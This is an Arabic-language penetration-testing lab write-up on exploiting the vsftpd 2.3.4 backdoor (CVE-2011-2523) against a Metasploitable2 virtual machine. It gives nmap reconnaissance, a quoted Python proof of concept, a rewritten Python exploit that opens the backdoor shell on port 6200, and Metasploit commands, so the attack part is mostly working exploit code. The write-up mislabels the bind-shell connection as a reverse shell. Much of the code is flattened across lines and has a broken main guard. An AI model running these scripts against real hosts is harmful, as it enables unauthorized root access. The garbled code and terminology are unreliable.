
دليل استغلال يدوي وآلي لثغرة الباب الخلفي في vsftpd 2.3.4 (CVE-2011-2523) مع حمولة شل عكسية مخصصة وتكامل Metasploit للتدريب على اختبار الاختراق.
هذه ملاحظات لإنشاء منهجية الهجوم في بيئة خاضعة للتحكم. يُفترض أن التمرين هو صندوق أسود، وبالتالي لا أعرف معلومات عن النظام الضحية.
1- تحميل ISO المطلوبة لكل من Metasploitable2 و Kali أو أي توزيعة أخرى.
2- مهم: البيئة مُهيأة على VMware، لذا يجب تشغيل كلا الجهازين على هذا الهايبرفايزر.
3- العملية الأولية: تشغيل ip للتحقق من وجود اتصال بين الطرفين.
4- استخدام nmap -sV -Pn 192.168.253.128. بعد إجراء الاستطلاع، نجد منافذ متعددة.
21 ftp vsftpd 2.3.4
كجزء من التدريب، نهدف إلى مهاجمة كل منفذ للدخول بطرق متعددة. نبدأ بالمنفذ التالي. سيتم محاولة إنشاء حالة صندوق أسود لحل أو محاكاة ظروف حقيقية قدر الإمكان.
نبدأ باستخدام nmap -Pn -sV 10.0.2.5 نبحث في قواعد البيانات العامة ونجد CVE-2011-2523 وهو باب خلفي (backdoor) وسنحاول استغلاله للوصول إلى الجهاز الضحية.
أولاً، يجب أن نفهم أن هناك بابًا خلفيًا في الاستغلال الذي سيتم تنفيذه في هذه الحالة الخاصة. عند محاولة إيجاد طريقة لاختراق هذا النظام من خلال الثغرة الموجودة، نجد معلومات على packetstorm.news. يُقدم POC يثبت إمكانية الاستغلال ولكنه ليس وظيفيًا بالكامل كما يظهر في الكود التالي:
#!/usr/bin/python3
from telnetlib import Telnet import argparse from signal import signal, SIGINT from sys import exit
def handler(signal_received, frame): # Handle any cleanup here print(' [+]Exiting...') exit(0)
signal(SIGINT, handler)
parser=argparse.ArgumentParser()
parser.add_argument("host", help="input the address of the vulnerable host", type=str)
args = parser.parse_args()
host = args.host
portFTP = 21 #if necessary edit this line
user="USER nergal:)" password="PASS pass"
tn=Telnet(host, portFTP) tn.read_until(b"(vsFTPd 2.3.4)") #if necessary, edit this line tn.write(user.encode('ascii') + b"\n") tn.read_until(b"password.") #if necessary, edit this line tn.write(password.encode('ascii') + b"\n")
tn2=Telnet(host, 6200)
print('Success, shell opened')
print('Send exit to quit shell')
tn2.interact()
عند قراءة الكود، يمكن فهم أن الهدف هو إثبات إمكانية الاستغلال وليس جعله سكريبتًا وظيفيًا. لذلك، ولإجراء ممارسات أكثر واقعية، قمت بتعديل جوهري لجعله يحتوي على شيل عكسي (reverse shell) يسمح بوصول أكثر ملاءمة منذ لحظة تنفيذ الكود. أدى تعديل الكود إلى النتيجة التالية: #!/usr/bin/env python3
import socket import sys import time
def connect_ftp(host, port=21): try: s = socket.socket() s.connect((host, port)) banner = s.recv(1024).decode(errors='ignore') print(f"[+] FTP Banner: {banner.strip()}")
# Enviar payload del backdoor
s.sendall(b'USER backdoor:)\r\n')
time.sleep(0.5)
s.sendall(b'PASS whatever\r\n')
time.sleep(0.5)
s.close()
return True
except Exception as e:
print(f"[!] Error conectando al FTP: {e}")
return False
def connect_backdoor_shell(host, port=6200): try: print(f"[+] Intentando conectar con la shell backdoor en {host}:{port}...") shell = socket.socket() shell.settimeout(3) shell.connect((host, port)) print("[+] ¡Shell obtenida!")
while True:
cmd = input("shell> ")
if cmd.strip().lower() == "exit":
break
shell.sendall((cmd + "\n").encode())
# Lee todos los datos disponibles hasta timeout
output = b""
while True:
try:
chunk = shell.recv(4096)
if not chunk:
break
output += chunk
# Espera un poco para ver si hay más datos
time.sleep(0.1)
except socket.timeout:
break
if output:
print(output.decode(errors='ignore'))
else:
print("[!] Sin respuesta del shell.")
shell.close()
except Exception as e:
print(f"[!] Falló al conectar con la shell: {e}")
if name == "main": if len(sys.argv) != 2: print(f"Uso: {sys.argv[0]} ") sys.exit(1)
target_ip = sys.argv[1]
if connect_ftp(target_ip):
time.sleep(1) # Da tiempo al backdoor para abrir el puerto
connect_backdoor_shell(target_ip)
else:
print("[!] No se pudo conectar o el objetivo no parece vulnerable.")
مما سبق، يمكن فهم أنه قد يكون طريقة يدوية معقدة لمواجهة هذا المثال، لكن الهدف هو إنشاء خيارات متنوعة للنمو في مجال أمن المعلومات وتحسين المهارات.
الطريقة الأخرى التي يمكن استخدامها هي استخدام Metasploit على النحو التالي: msfconsole use exploit/unix/ftp/vsftpd_234_backdoor set RHOSTS 10.0.2.5 run كما هو مفهوم، كلاهما يفعلان نفس الشيء تمامًا، لكن الأول مؤتمت والآخر عملية يدوية أكثر.